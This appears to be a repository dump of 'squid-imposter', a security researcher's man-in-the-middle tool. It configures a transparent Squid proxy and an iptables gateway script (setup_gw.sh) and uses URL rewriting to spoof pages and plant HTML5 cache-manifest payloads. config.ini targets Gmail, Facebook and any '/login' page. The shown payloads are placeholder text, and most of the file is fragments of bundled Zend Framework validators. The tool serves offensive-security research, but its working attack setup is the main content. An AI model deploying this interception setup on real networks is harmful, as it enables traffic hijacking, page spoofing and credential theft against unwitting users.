├── payloads
├── default.manifest
├── facebook.manifest
├── default.append
├── test.payload
├── facebook.append
└── config.ini
├── squid-imposter.png
├── Zend
├── Http
│ ├── UserAgent
│ │ ├── Exception.php
│ │ ├── Storage
│ │ │ ├── Exception.php
│ │ │ ├── NonPersistent.php
│ │ │ └── Session.php
│ │ ├── Features
│ │ │ ├── Exception.php
│ │ │ ├── Adapter.php
│ │ │ └── Adapter
│ │ │ │ ├── DeviceAtlas.php
│ │ │ │ ├── TeraWurfl.php
│ │ │ │ └── WurflApi.php
│ │ ├── Desktop.php
│ │ ├── Email.php
│ │ ├── Console.php
│ │ ├── Offline.php
│ │ ├── Validator.php
│ │ ├── Checker.php
│ │ ├── Storage.php
│ │ ├── Spam.php
│ │ ├── Feed.php
│ │ ├── Probe.php
│ │ ├── Text.php
│ │ └── Bot.php
│ ├── Exception.php
│ └── Client
│ │ ├── Exception.php
│ │ └── Adapter
│ │ ├── Exception.php
│ │ ├── Stream.php
│ │ └── Interface.php
├── Validate
│ ├── Exception.php
│ ├── Barcode
│ │ ├── Upca.php
│ │ ├── Ean13.php
│ │ ├── Sscc.php
│ │ ├── Ean12.php
│ │ ├── Ean14.php
│ │ ├── Ean18.php
│ │ ├── Gtin12.php
│ │ ├── Gtin13.php
│ │ ├── Gtin14.php
│ │ ├── Itf14.php
│ │ ├── Leitcode.php
│ │ ├── Identcode.php
│ │ ├── Planet.php
│ │ ├── Postnet.php
│ │ ├── Ean2.php
│ │ ├── Ean5.php
│ │ ├── Code39ext.php
│ │ ├── Code93ext.php
│ │ ├── Intelligentmail.php
│ │ ├── Code25.php
│ │ ├── Code25interleaved.php
│ │ ├── Ean8.php
│ │ ├── Upce.php
│ │ ├── AdapterInterface.php
│ │ ├── Code39.php
│ │ ├── Issn.php
│ │ ├── Code93.php
│ │ └── Royalmail.php
│ ├── Db
│ │ ├── RecordExists.php
│ │ └── NoRecordExists.php
│ ├── Interface.php
│ ├── Hex.php
│ ├── Sitemap
│ │ ├── Priority.php
│ │ ├── Loc.php
│ │ ├── Lastmod.php
│ │ └── Changefreq.php
│ ├── File
│ │ ├── NotExists.php
│ │ ├── ExcludeExtension.php
│ │ ├── WordCount.php
│ │ └── ExcludeMimeType.php
│ ├── Digits.php
│ ├── LessThan.php
│ ├── GreaterThan.php
│ ├── Ccnum.php
│ ├── Float.php
│ ├── Int.php
│ ├── Regex.php
│ ├── Alpha.php
│ ├── Alnum.php
│ ├── Identical.php
│ └── Callback.php
└── Uri
│ └── Exception.php
├── squid.conf
├── setup_gw.sh
├── rewrite.php
├── index.php
└── README
/payloads/default.manifest:
--------------------------------------------------------------------------------
1 | CACHE MANIFEST
2 | CACHE:
3 | %%payload%%
4 | NETWORK:
5 | *
6 |
--------------------------------------------------------------------------------
/payloads/facebook.manifest:
--------------------------------------------------------------------------------
1 | CACHE MANIFEST
2 | CACHE:
3 | %%payload%%
4 | NETWORK:
5 | *
6 |
--------------------------------------------------------------------------------
/squid-imposter.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/koto/squid-imposter/HEAD/squid-imposter.png
--------------------------------------------------------------------------------
/payloads/default.append:
--------------------------------------------------------------------------------
1 |
Squid-imposter works!
2 | %%payload%% page is spoofed by squid-imposter, but this is just a default content. To replace it, create %%site%%.append or %%site%%.payload file and add your content there.
3 |
--------------------------------------------------------------------------------
/payloads/test.payload:
--------------------------------------------------------------------------------
1 | Hurray!
2 | Squid-imposter by Krzysztof Kotowicz
3 |
4 | If you're seeing this, squid-imposter works correctly. Try going to http://gmail.com to see it in action.
--------------------------------------------------------------------------------
/payloads/facebook.append:
--------------------------------------------------------------------------------
1 | We work on Facebook too!
2 | %%payload%% page is spoofed by squid-imposter, but this is just a default content. To replace it, create %%site%%.append or %%site%%.payload file and add your content there.
3 |
--------------------------------------------------------------------------------
/payloads/config.ini:
--------------------------------------------------------------------------------
1 | [config]
2 | ; absolute URL to this directory
3 | imposter=http://localhost/squid-imposter/
4 | test_mode=1
5 | ;logfile=./imposter.log
6 |
7 | ; use absolute URLs for specific sites
8 | [gmail]
9 | payload=http://mail.google.com/mail/
10 | manifest=http://mail.google.com/mail/help/intl/en/terms.html
11 |
12 | [facebook]
13 | payload=http://www.facebook.com/
14 | manifest=http://www.facebook.com/robots.txt
15 |
16 | ; Will match all pages with '/login' URL
17 | ; assumes these domains have /robots.txt URL
18 | ; Put as a last catch-all rule with more specific rules above
19 | ; This is example of omitting domain in specifying URLs.
20 | ; However, when you omit domain, you should either:
21 | ; - not use *_match rules anymore
22 | ; (when serving manifest we don't know what _exact_ URL would payload have and vice versa)
23 | ; OR
24 | ; - prepare a specific payload / manifest files instead of default ones
25 | [login_page]
26 | ;use full regexp enclosing it with delimiters
27 | payload=/login
28 | ; will match a file in any domain
29 | manifest=/robots.txt
--------------------------------------------------------------------------------
/Zend/Http/UserAgent/Exception.php:
--------------------------------------------------------------------------------
1 | _setValue($value);
42 |
43 | $result = $this->_query($value);
44 | if (!$result) {
45 | $valid = false;
46 | $this->_error(self::ERROR_NO_RECORD_FOUND);
47 | }
48 |
49 | return $valid;
50 | }
51 | }
52 |
--------------------------------------------------------------------------------
/Zend/Validate/Db/NoRecordExists.php:
--------------------------------------------------------------------------------
1 | _setValue($value);
42 |
43 | $result = $this->_query($value);
44 | if ($result) {
45 | $valid = false;
46 | $this->_error(self::ERROR_RECORD_FOUND);
47 | }
48 |
49 | return $valid;
50 | }
51 | }
52 |
--------------------------------------------------------------------------------
/Zend/Http/UserAgent/Desktop.php:
--------------------------------------------------------------------------------
1 | setCheck(false);
57 | }
58 | }
59 |
--------------------------------------------------------------------------------
/Zend/Validate/Barcode/Ean5.php:
--------------------------------------------------------------------------------
1 | setCheck(false);
57 | }
58 | }
59 |
--------------------------------------------------------------------------------
/Zend/Validate/Barcode/Code39ext.php:
--------------------------------------------------------------------------------
1 | setCheck(false);
57 | }
58 | }
59 |
--------------------------------------------------------------------------------
/Zend/Validate/Barcode/Code93ext.php:
--------------------------------------------------------------------------------
1 | setCheck(false);
57 | }
58 | }
59 |
--------------------------------------------------------------------------------
/Zend/Validate/Barcode/Intelligentmail.php:
--------------------------------------------------------------------------------
1 | setCheck(false);
57 | }
58 | }
59 |
--------------------------------------------------------------------------------
/Zend/Validate/Barcode/Code25.php:
--------------------------------------------------------------------------------
1 | setCheck(false);
63 | }
64 | }
65 |
--------------------------------------------------------------------------------
/Zend/Validate/Barcode/Code25interleaved.php:
--------------------------------------------------------------------------------
1 | setCheck(false);
63 | }
64 | }
65 |
--------------------------------------------------------------------------------
/Zend/Http/UserAgent/Email.php:
--------------------------------------------------------------------------------
1 | setCheck(false);
63 | } else {
64 | $this->setCheck(true);
65 | }
66 |
67 | return parent::checkLength($value);
68 | }
69 | }
70 |
--------------------------------------------------------------------------------
/Zend/Validate/Barcode/Upce.php:
--------------------------------------------------------------------------------
1 | setCheck(false);
63 | } else {
64 | $this->setCheck(true);
65 | }
66 |
67 | return parent::checkLength($value);
68 | }
69 | }
70 |
--------------------------------------------------------------------------------
/Zend/Validate/Interface.php:
--------------------------------------------------------------------------------
1 |
7 | ; @see http://blog.kotowicz.net
8 | ; @see http://github.com/koto/squid-imposter
9 |
10 | access_log /var/log/squid/access.log squid
11 |
12 | ; full path to squid-imposter
13 | url_rewrite_program /var/www/squid-imposter/rewrite.php
14 |
15 | ; tcp port
16 | http_port 8080 transparent
17 |
18 | ; who will be able to communicate with squid proxy
19 | ; see also setup_gw.sh for localnet settings
20 | acl localhost src 127.0.0.1/32
21 | acl localnet src 192.168.0.0/16
22 |
23 | acl all src all
24 | acl CONNECT method CONNECT
25 | acl manager proto cache_object
26 | acl purge method PURGE
27 | acl Safe_ports port 1025-65535 # unregistered ports
28 | acl Safe_ports port 210 # wais
29 | acl Safe_ports port 21 # ftp
30 | acl Safe_ports port 280 # http-mgmt
31 | acl Safe_ports port 443 # https
32 | acl Safe_ports port 488 # gss-http
33 | acl Safe_ports port 591 # filemaker
34 | acl Safe_ports port 70 # gopher
35 | acl Safe_ports port 777 # multiling http
36 | acl Safe_ports port 80 # http
37 | acl SSL_ports port 443 563
38 | always_direct allow all
39 | cache_dir ufs /var/spool/squid 2048 16 256
40 | cache_mem 256 MB
41 | cache_mgr admin@email.com
42 | coredump_dir /var/spool/squid
43 | forwarded_for off
44 | hierarchy_stoplist cgi-bin ?
45 | http_access allow localhost
46 | http_access allow localnet
47 | http_access allow manager localhost
48 | http_access deny all
49 | http_access deny CONNECT !SSL_ports
50 | http_access deny manager
51 | http_access deny !Safe_ports
52 | http_reply_access allow localnet
53 | http_reply_access allow localhost
54 | http_reply_access deny all
55 | icp_access allow localnet
56 | icp_access deny all
57 | icp_port 3130
58 | refresh_pattern . 0 20% 4320
59 | refresh_pattern (cgi-bin|\?) 0 0% 0
60 | refresh_pattern ^ftp: 1440 20% 10080
61 | refresh_pattern ^gopher: 1440 0% 1440
62 | visible_hostname yourdomain.com
63 |
--------------------------------------------------------------------------------
/Zend/Validate/Barcode/AdapterInterface.php:
--------------------------------------------------------------------------------
1 |
17 | # @see http://blog.kotowicz.net
18 | # @see http://github.com/koto/squid-imposter
19 | SQUID_SERVER="$1"
20 | SQUID_PORT="8080"
21 | INTERNET="eth1"
22 | LAN_IN="eth2"
23 |
24 | echo "Acting as gateway to $INTERNET for hosts from $LAN_IN"
25 |
26 | iptables -F
27 | iptables -X
28 | iptables -t nat -X
29 | iptables -t nat -F
30 | iptables -t mangle -X
31 | iptables -t mangle -F
32 | modprobe ip_conntrack
33 | modprobe ip_conntrack_ftp
34 | echo 1 > /proc/sys/net/ipv4/ip_forward
35 | iptables -P INPUT DROP
36 | iptables -P OUTPUT ACCEPT
37 | # unlimited loopback
38 | iptables -A INPUT -i lo -j ACCEPT
39 | iptables -A OUTPUT -o lo -j ACCEPT
40 | # allow UDP,DNS
41 | iptables -A INPUT -i $INTERNET -m state --state ESTABLISHED,RELATED -j ACCEPT
42 | # set as router for lan
43 | iptables --table nat --append POSTROUTING --out-interface $INTERNET -j MASQUERADE
44 | iptables --append FORWARD --in-interface $LAN_IN -j ACCEPT
45 | # unlimited lan access
46 | iptables -A INPUT -i $LAN_IN -j ACCEPT
47 | iptables -A OUTPUT -o $LAN_IN -j ACCEPT
48 | if [ "$SQUID_SERVER" != "" ]; then
49 | # setup transparent proxy
50 | iptables -t nat -A PREROUTING -i $LAN_IN -p tcp --dport 80 -j DNAT --to $SQUID_SERVER:$SQUID_PORT
51 | iptables -t nat -A PREROUTING -i $INTERNET -p tcp --dport 80 -j REDIRECT --to-port $SQUID_PORT
52 | # drop and log
53 | # iptables -A INPUT -j LOG
54 | # iptables -A INPUT -j DROP
55 | echo "Port 80 traffic will be forwarded to transparent proxy on $SQUID_SERVER:$SQUID_PORT"
56 | else
57 | echo "No transparent proxy. Use '$0 ' to forward traffic through proxy"
58 | fi
59 |
60 |
--------------------------------------------------------------------------------
/Zend/Validate/Hex.php:
--------------------------------------------------------------------------------
1 | "Invalid type given. String expected",
45 | self::NOT_HEX => "'%value%' has not only hexadecimal digit characters",
46 | );
47 |
48 | /**
49 | * Defined by Zend_Validate_Interface
50 | *
51 | * Returns true if and only if $value contains only hexadecimal digit characters
52 | *
53 | * @param string $value
54 | * @return boolean
55 | */
56 | public function isValid($value)
57 | {
58 | if (!is_string($value) && !is_int($value)) {
59 | $this->_error(self::INVALID);
60 | return false;
61 | }
62 |
63 | $this->_setValue($value);
64 | if (!ctype_xdigit((string) $value)) {
65 | $this->_error(self::NOT_HEX);
66 | return false;
67 | }
68 |
69 | return true;
70 | }
71 |
72 | }
73 |
--------------------------------------------------------------------------------
/Zend/Http/UserAgent/Spam.php:
--------------------------------------------------------------------------------
1 | setFeature('images', false, 'product_capability');
74 | $this->setFeature('iframes', false, 'product_capability');
75 | $this->setFeature('frames', false, 'product_capability');
76 | $this->setFeature('javascript', false, 'product_capability');
77 | return parent::_defineFeatures();
78 | }
79 | }
80 |
--------------------------------------------------------------------------------
/Zend/Http/UserAgent/Feed.php:
--------------------------------------------------------------------------------
1 | setFeature('iframes', false, 'product_capability');
77 | $this->setFeature('frames', false, 'product_capability');
78 | $this->setFeature('javascript', false, 'product_capability');
79 | return parent::_defineFeatures();
80 | }
81 | }
82 |
--------------------------------------------------------------------------------
/Zend/Http/UserAgent/Probe.php:
--------------------------------------------------------------------------------
1 | setFeature('images', false, 'product_capability');
76 | $this->setFeature('iframes', false, 'product_capability');
77 | $this->setFeature('frames', false, 'product_capability');
78 | $this->setFeature('javascript', false, 'product_capability');
79 | return parent::_defineFeatures();
80 | }
81 | }
82 |
--------------------------------------------------------------------------------
/Zend/Http/Client/Adapter/Interface.php:
--------------------------------------------------------------------------------
1 | value
30 | *
31 | * @link http://www.sitemaps.org/protocol.php Sitemaps XML format
32 | *
33 | * @category Zend
34 | * @package Zend_Validate
35 | * @subpackage Sitemap
36 | * @copyright Copyright (c) 2005-2010 Zend Technologies USA Inc. (http://www.zend.com)
37 | * @license http://framework.zend.com/license/new-bsd New BSD License
38 | */
39 | class Zend_Validate_Sitemap_Priority extends Zend_Validate_Abstract
40 | {
41 | /**
42 | * Validation key for not valid
43 | *
44 | */
45 | const NOT_VALID = 'sitemapPriorityNotValid';
46 | const INVALID = 'sitemapPriorityInvalid';
47 |
48 | /**
49 | * Validation failure message template definitions
50 | *
51 | * @var array
52 | */
53 | protected $_messageTemplates = array(
54 | self::NOT_VALID => "'%value%' is no valid sitemap priority",
55 | self::INVALID => "Invalid type given. Numeric string, integer or float expected",
56 | );
57 |
58 | /**
59 | * Validates if a string is valid as a sitemap priority
60 | *
61 | * @link http://www.sitemaps.org/protocol.php#prioritydef
62 | *
63 | * @param string $value value to validate
64 | * @return boolean
65 | */
66 | public function isValid($value)
67 | {
68 | if (!is_numeric($value)) {
69 | $this->_error(self::INVALID);
70 | return false;
71 | }
72 |
73 | $this->_setValue($value);
74 | $value = (float) $value;
75 | if ($value < 0 || $value > 1) {
76 | $this->_error(self::NOT_VALID);
77 | return false;
78 | }
79 |
80 | return true;
81 | }
82 | }
83 |
--------------------------------------------------------------------------------
/Zend/Validate/Sitemap/Loc.php:
--------------------------------------------------------------------------------
1 | value
35 | *
36 | * @link http://www.sitemaps.org/protocol.php Sitemaps XML format
37 | *
38 | * @category Zend
39 | * @package Zend_Validate
40 | * @subpackage Sitemap
41 | * @copyright Copyright (c) 2005-2010 Zend Technologies USA Inc. (http://www.zend.com)
42 | * @license http://framework.zend.com/license/new-bsd New BSD License
43 | */
44 | class Zend_Validate_Sitemap_Loc extends Zend_Validate_Abstract
45 | {
46 | /**
47 | * Validation key for not valid
48 | *
49 | */
50 | const NOT_VALID = 'sitemapLocNotValid';
51 | const INVALID = 'sitemapLocInvalid';
52 |
53 | /**
54 | * Validation failure message template definitions
55 | *
56 | * @var array
57 | */
58 | protected $_messageTemplates = array(
59 | self::NOT_VALID => "'%value%' is no valid sitemap location",
60 | self::INVALID => "Invalid type given. String expected",
61 | );
62 |
63 | /**
64 | * Validates if a string is valid as a sitemap location
65 | *
66 | * @link http://www.sitemaps.org/protocol.php#locdef
67 | *
68 | * @param string $value value to validate
69 | * @return boolean
70 | */
71 | public function isValid($value)
72 | {
73 | if (!is_string($value)) {
74 | $this->_error(self::INVALID);
75 | return false;
76 | }
77 |
78 | $this->_setValue($value);
79 | $result = Zend_Uri::check($value);
80 | if ($result !== true) {
81 | $this->_error(self::NOT_VALID);
82 | return false;
83 | }
84 |
85 | return true;
86 | }
87 | }
88 |
--------------------------------------------------------------------------------
/Zend/Validate/File/NotExists.php:
--------------------------------------------------------------------------------
1 | "File '%value%' exists",
47 | );
48 |
49 | /**
50 | * Defined by Zend_Validate_Interface
51 | *
52 | * Returns true if and only if the file does not exist in the set destinations
53 | *
54 | * @param string $value Real file to check for
55 | * @param array $file File data from Zend_File_Transfer
56 | * @return boolean
57 | */
58 | public function isValid($value, $file = null)
59 | {
60 | $directories = $this->getDirectory(true);
61 | if (($file !== null) and (!empty($file['destination']))) {
62 | $directories[] = $file['destination'];
63 | } else if (!isset($file['name'])) {
64 | $file['name'] = $value;
65 | }
66 |
67 | foreach ($directories as $directory) {
68 | if (empty($directory)) {
69 | continue;
70 | }
71 |
72 | $check = true;
73 | if (file_exists($directory . DIRECTORY_SEPARATOR . $file['name'])) {
74 | return $this->_throw($file, self::DOES_EXIST);
75 | }
76 | }
77 |
78 | if (!isset($check)) {
79 | return $this->_throw($file, self::DOES_EXIST);
80 | }
81 |
82 | return true;
83 | }
84 | }
85 |
--------------------------------------------------------------------------------
/Zend/Validate/Sitemap/Lastmod.php:
--------------------------------------------------------------------------------
1 | value
30 | *
31 | * @link http://www.sitemaps.org/protocol.php Sitemaps XML format
32 | *
33 | * @category Zend
34 | * @package Zend_Validate
35 | * @subpackage Sitemap
36 | * @copyright Copyright (c) 2005-2010 Zend Technologies USA Inc. (http://www.zend.com)
37 | * @license http://framework.zend.com/license/new-bsd New BSD License
38 | */
39 | class Zend_Validate_Sitemap_Lastmod extends Zend_Validate_Abstract
40 | {
41 | /**
42 | * Regular expression to use when validating
43 | *
44 | */
45 | const LASTMOD_REGEX = '/^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])(T([0-1][0-9]|2[0-3])(:[0-5][0-9])(:[0-5][0-9])?(\\+|-)([0-1][0-9]|2[0-3]):[0-5][0-9])?$/';
46 |
47 | /**
48 | * Validation key for not valid
49 | *
50 | */
51 | const NOT_VALID = 'sitemapLastmodNotValid';
52 | const INVALID = 'sitemapLastmodInvalid';
53 |
54 | /**
55 | * Validation failure message template definitions
56 | *
57 | * @var array
58 | */
59 | protected $_messageTemplates = array(
60 | self::NOT_VALID => "'%value%' is no valid sitemap lastmod",
61 | self::INVALID => "Invalid type given. String expected",
62 | );
63 |
64 | /**
65 | * Validates if a string is valid as a sitemap lastmod
66 | *
67 | * @link http://www.sitemaps.org/protocol.php#lastmoddef
68 | *
69 | * @param string $value value to validate
70 | * @return boolean
71 | */
72 | public function isValid($value)
73 | {
74 | if (!is_string($value)) {
75 | $this->_error(self::INVALID);
76 | return false;
77 | }
78 |
79 | $this->_setValue($value);
80 | $result = @preg_match(self::LASTMOD_REGEX, $value);
81 | if ($result != 1) {
82 | $this->_error(self::NOT_VALID);
83 | return false;
84 | }
85 |
86 | return true;
87 | }
88 | }
89 |
--------------------------------------------------------------------------------
/Zend/Validate/Digits.php:
--------------------------------------------------------------------------------
1 | "'%value%' must contain only digits",
53 | self::STRING_EMPTY => "'%value%' is an empty string",
54 | self::INVALID => "Invalid type given. String, integer or float expected",
55 | );
56 |
57 | /**
58 | * Defined by Zend_Validate_Interface
59 | *
60 | * Returns true if and only if $value only contains digit characters
61 | *
62 | * @param string $value
63 | * @return boolean
64 | */
65 | public function isValid($value)
66 | {
67 | if (!is_string($value) && !is_int($value) && !is_float($value)) {
68 | $this->_error(self::INVALID);
69 | return false;
70 | }
71 |
72 | $this->_setValue((string) $value);
73 |
74 | if ('' === $this->_value) {
75 | $this->_error(self::STRING_EMPTY);
76 | return false;
77 | }
78 |
79 | if (null === self::$_filter) {
80 | require_once 'Zend/Filter/Digits.php';
81 | self::$_filter = new Zend_Filter_Digits();
82 | }
83 |
84 | if ($this->_value !== self::$_filter->filter($this->_value)) {
85 | $this->_error(self::NOT_DIGITS);
86 | return false;
87 | }
88 |
89 | return true;
90 | }
91 | }
92 |
--------------------------------------------------------------------------------
/Zend/Validate/Sitemap/Changefreq.php:
--------------------------------------------------------------------------------
1 | value
30 | *
31 | * @link http://www.sitemaps.org/protocol.php Sitemaps XML format
32 | *
33 | * @category Zend
34 | * @package Zend_Validate
35 | * @subpackage Sitemap
36 | * @copyright Copyright (c) 2005-2010 Zend Technologies USA Inc. (http://www.zend.com)
37 | * @license http://framework.zend.com/license/new-bsd New BSD License
38 | */
39 | class Zend_Validate_Sitemap_Changefreq extends Zend_Validate_Abstract
40 | {
41 | /**
42 | * Validation key for not valid
43 | *
44 | */
45 | const NOT_VALID = 'sitemapChangefreqNotValid';
46 | const INVALID = 'sitemapChangefreqInvalid';
47 |
48 | /**
49 | * Validation failure message template definitions
50 | *
51 | * @var array
52 | */
53 | protected $_messageTemplates = array(
54 | self::NOT_VALID => "'%value%' is no valid sitemap changefreq",
55 | self::INVALID => "Invalid type given. String expected",
56 | );
57 |
58 | /**
59 | * Valid change frequencies
60 | *
61 | * @var array
62 | */
63 | protected $_changeFreqs = array(
64 | 'always', 'hourly', 'daily', 'weekly',
65 | 'monthly', 'yearly', 'never'
66 | );
67 |
68 | /**
69 | * Validates if a string is valid as a sitemap changefreq
70 | *
71 | * @link http://www.sitemaps.org/protocol.php#changefreqdef
72 | *
73 | * @param string $value value to validate
74 | * @return boolean
75 | */
76 | public function isValid($value)
77 | {
78 | if (!is_string($value)) {
79 | $this->_error(self::INVALID);
80 | return false;
81 | }
82 |
83 | $this->_setValue($value);
84 | if (!is_string($value)) {
85 | return false;
86 | }
87 |
88 | if (!in_array($value, $this->_changeFreqs, true)) {
89 | $this->_error(self::NOT_VALID);
90 | return false;
91 | }
92 |
93 | return true;
94 | }
95 | }
96 |
--------------------------------------------------------------------------------
/Zend/Http/UserAgent/Storage/NonPersistent.php:
--------------------------------------------------------------------------------
1 | _data);
60 | }
61 |
62 | /**
63 | * Returns the contents of storage
64 | *
65 | * Behavior is undefined when storage is empty.
66 | *
67 | * @throws Zend_Http_UserAgent_Storage_Exception If reading contents from storage is impossible
68 | * @return mixed
69 | */
70 | public function read()
71 | {
72 | return $this->_data;
73 | }
74 |
75 | /**
76 | * Writes $contents to storage
77 | *
78 | * @param mixed $contents
79 | * @throws Zend_Http_UserAgent_Storage_Exception If writing $contents to storage is impossible
80 | * @return void
81 | */
82 | public function write($contents)
83 | {
84 | $this->_data = $contents;
85 | }
86 |
87 | /**
88 | * Clears contents from storage
89 | *
90 | * @throws Zend_Http_UserAgent_Storage_Exception If clearing contents from storage is impossible
91 | * @return void
92 | */
93 | public function clear()
94 | {
95 | $this->_data = null;
96 | }
97 | }
98 |
--------------------------------------------------------------------------------
/Zend/Http/UserAgent/Features/Adapter/DeviceAtlas.php:
--------------------------------------------------------------------------------
1 | "File '%value%' has a false extension",
48 | self::NOT_FOUND => "File '%value%' is not readable or does not exist",
49 | );
50 |
51 | /**
52 | * Defined by Zend_Validate_Interface
53 | *
54 | * Returns true if and only if the fileextension of $value is not included in the
55 | * set extension list
56 | *
57 | * @param string $value Real file to check for extension
58 | * @param array $file File data from Zend_File_Transfer
59 | * @return boolean
60 | */
61 | public function isValid($value, $file = null)
62 | {
63 | // Is file readable ?
64 | require_once 'Zend/Loader.php';
65 | if (!Zend_Loader::isReadable($value)) {
66 | return $this->_throw($file, self::NOT_FOUND);
67 | }
68 |
69 | if ($file !== null) {
70 | $info['extension'] = substr($file['name'], strrpos($file['name'], '.') + 1);
71 | } else {
72 | $info = pathinfo($value);
73 | }
74 |
75 | $extensions = $this->getExtension();
76 |
77 | if ($this->_case and (!in_array($info['extension'], $extensions))) {
78 | return true;
79 | } else if (!$this->_case) {
80 | $found = false;
81 | foreach ($extensions as $extension) {
82 | if (strtolower($extension) == strtolower($info['extension'])) {
83 | $found = true;
84 | }
85 | }
86 |
87 | if (!$found) {
88 | return true;
89 | }
90 | }
91 |
92 | return $this->_throw($file, self::FALSE_EXTENSION);
93 | }
94 | }
95 |
--------------------------------------------------------------------------------
/Zend/Validate/Barcode/Code39.php:
--------------------------------------------------------------------------------
1 | 0, '1' => 1, '2' => 2, '3' => 3, '4' => 4, '5' => 5, '6' => 6,
58 | '7' => 7, '8' => 8, '9' => 9, 'A' => 10, 'B' => 11, 'C' => 12, 'D' => 13,
59 | 'E' => 14, 'F' => 15, 'G' => 16, 'H' => 17, 'I' => 18, 'J' => 19, 'K' => 20,
60 | 'L' => 21, 'M' => 22, 'N' => 23, 'O' => 24, 'P' => 25, 'Q' => 26, 'R' => 27,
61 | 'S' => 28, 'T' => 29, 'U' => 30, 'V' => 31, 'W' => 32, 'X' => 33, 'Y' => 34,
62 | 'Z' => 35, '-' => 36, '.' => 37, ' ' => 38, '$' => 39, '/' => 40, '+' => 41,
63 | '%' => 42,
64 | );
65 |
66 | /**
67 | * Constructor
68 | *
69 | * Sets check flag to false.
70 | *
71 | * @return void
72 | */
73 | public function __construct()
74 | {
75 | $this->setCheck(false);
76 | }
77 |
78 | /**
79 | * Validates the checksum (Modulo 43)
80 | *
81 | * @param string $value The barcode to validate
82 | * @return boolean
83 | */
84 | protected function _code39($value)
85 | {
86 | $checksum = substr($value, -1, 1);
87 | $value = str_split(substr($value, 0, -1));
88 | $count = 0;
89 | foreach($value as $char) {
90 | $count += $this->_check[$char];
91 | }
92 |
93 | $mod = $count % 43;
94 | if ($mod == $this->_check[$checksum]) {
95 | return true;
96 | }
97 |
98 | return false;
99 | }
100 | }
101 |
--------------------------------------------------------------------------------
/Zend/Validate/LessThan.php:
--------------------------------------------------------------------------------
1 | "'%value%' is not less than '%max%'"
42 | );
43 |
44 | /**
45 | * @var array
46 | */
47 | protected $_messageVariables = array(
48 | 'max' => '_max'
49 | );
50 |
51 | /**
52 | * Maximum value
53 | *
54 | * @var mixed
55 | */
56 | protected $_max;
57 |
58 | /**
59 | * Sets validator options
60 | *
61 | * @param mixed|Zend_Config $max
62 | * @return void
63 | */
64 | public function __construct($max)
65 | {
66 | if ($max instanceof Zend_Config) {
67 | $max = $max->toArray();
68 | }
69 |
70 | if (is_array($max)) {
71 | if (array_key_exists('max', $max)) {
72 | $max = $max['max'];
73 | } else {
74 | require_once 'Zend/Validate/Exception.php';
75 | throw new Zend_Validate_Exception("Missing option 'max'");
76 | }
77 | }
78 |
79 | $this->setMax($max);
80 | }
81 |
82 | /**
83 | * Returns the max option
84 | *
85 | * @return mixed
86 | */
87 | public function getMax()
88 | {
89 | return $this->_max;
90 | }
91 |
92 | /**
93 | * Sets the max option
94 | *
95 | * @param mixed $max
96 | * @return Zend_Validate_LessThan Provides a fluent interface
97 | */
98 | public function setMax($max)
99 | {
100 | $this->_max = $max;
101 | return $this;
102 | }
103 |
104 | /**
105 | * Defined by Zend_Validate_Interface
106 | *
107 | * Returns true if and only if $value is less than max option
108 | *
109 | * @param mixed $value
110 | * @return boolean
111 | */
112 | public function isValid($value)
113 | {
114 | $this->_setValue($value);
115 | if ($this->_max <= $value) {
116 | $this->_error(self::NOT_LESS);
117 | return false;
118 | }
119 | return true;
120 | }
121 |
122 | }
123 |
--------------------------------------------------------------------------------
/Zend/Validate/GreaterThan.php:
--------------------------------------------------------------------------------
1 | "'%value%' is not greater than '%min%'",
43 | );
44 |
45 | /**
46 | * @var array
47 | */
48 | protected $_messageVariables = array(
49 | 'min' => '_min'
50 | );
51 |
52 | /**
53 | * Minimum value
54 | *
55 | * @var mixed
56 | */
57 | protected $_min;
58 |
59 | /**
60 | * Sets validator options
61 | *
62 | * @param mixed|Zend_Config $min
63 | * @return void
64 | */
65 | public function __construct($min)
66 | {
67 | if ($min instanceof Zend_Config) {
68 | $min = $min->toArray();
69 | }
70 |
71 | if (is_array($min)) {
72 | if (array_key_exists('min', $min)) {
73 | $min = $min['min'];
74 | } else {
75 | require_once 'Zend/Validate/Exception.php';
76 | throw new Zend_Validate_Exception("Missing option 'min'");
77 | }
78 | }
79 |
80 | $this->setMin($min);
81 | }
82 |
83 | /**
84 | * Returns the min option
85 | *
86 | * @return mixed
87 | */
88 | public function getMin()
89 | {
90 | return $this->_min;
91 | }
92 |
93 | /**
94 | * Sets the min option
95 | *
96 | * @param mixed $min
97 | * @return Zend_Validate_GreaterThan Provides a fluent interface
98 | */
99 | public function setMin($min)
100 | {
101 | $this->_min = $min;
102 | return $this;
103 | }
104 |
105 | /**
106 | * Defined by Zend_Validate_Interface
107 | *
108 | * Returns true if and only if $value is greater than min option
109 | *
110 | * @param mixed $value
111 | * @return boolean
112 | */
113 | public function isValid($value)
114 | {
115 | $this->_setValue($value);
116 |
117 | if ($this->_min >= $value) {
118 | $this->_error(self::NOT_GREATER);
119 | return false;
120 | }
121 | return true;
122 | }
123 |
124 | }
125 |
--------------------------------------------------------------------------------
/Zend/Validate/File/WordCount.php:
--------------------------------------------------------------------------------
1 | "Too much words, maximum '%max%' are allowed but '%count%' were counted",
50 | self::TOO_LESS => "Too less words, minimum '%min%' are expected but '%count%' were counted",
51 | self::NOT_FOUND => "File '%value%' is not readable or does not exist",
52 | );
53 |
54 | /**
55 | * Defined by Zend_Validate_Interface
56 | *
57 | * Returns true if and only if the counted words are at least min and
58 | * not bigger than max (when max is not null).
59 | *
60 | * @param string $value Filename to check for word count
61 | * @param array $file File data from Zend_File_Transfer
62 | * @return boolean
63 | */
64 | public function isValid($value, $file = null)
65 | {
66 | // Is file readable ?
67 | require_once 'Zend/Loader.php';
68 | if (!Zend_Loader::isReadable($value)) {
69 | return $this->_throw($file, self::NOT_FOUND);
70 | }
71 |
72 | $content = file_get_contents($value);
73 | $this->_count = str_word_count($content);
74 | if (($this->_max !== null) && ($this->_count > $this->_max)) {
75 | return $this->_throw($file, self::TOO_MUCH);
76 | }
77 |
78 | if (($this->_min !== null) && ($this->_count < $this->_min)) {
79 | return $this->_throw($file, self::TOO_LESS);
80 | }
81 |
82 | return true;
83 | }
84 |
85 | /**
86 | * Throws an error of the given type
87 | *
88 | * @param string $file
89 | * @param string $errorType
90 | * @return false
91 | */
92 | protected function _throw($file, $errorType)
93 | {
94 | if ($file !== null) {
95 | $this->_value = $file['name'];
96 | }
97 |
98 | $this->_error($errorType);
99 | return false;
100 | }
101 | }
102 |
--------------------------------------------------------------------------------
/Zend/Validate/Barcode/Issn.php:
--------------------------------------------------------------------------------
1 | _checksum = '_issn';
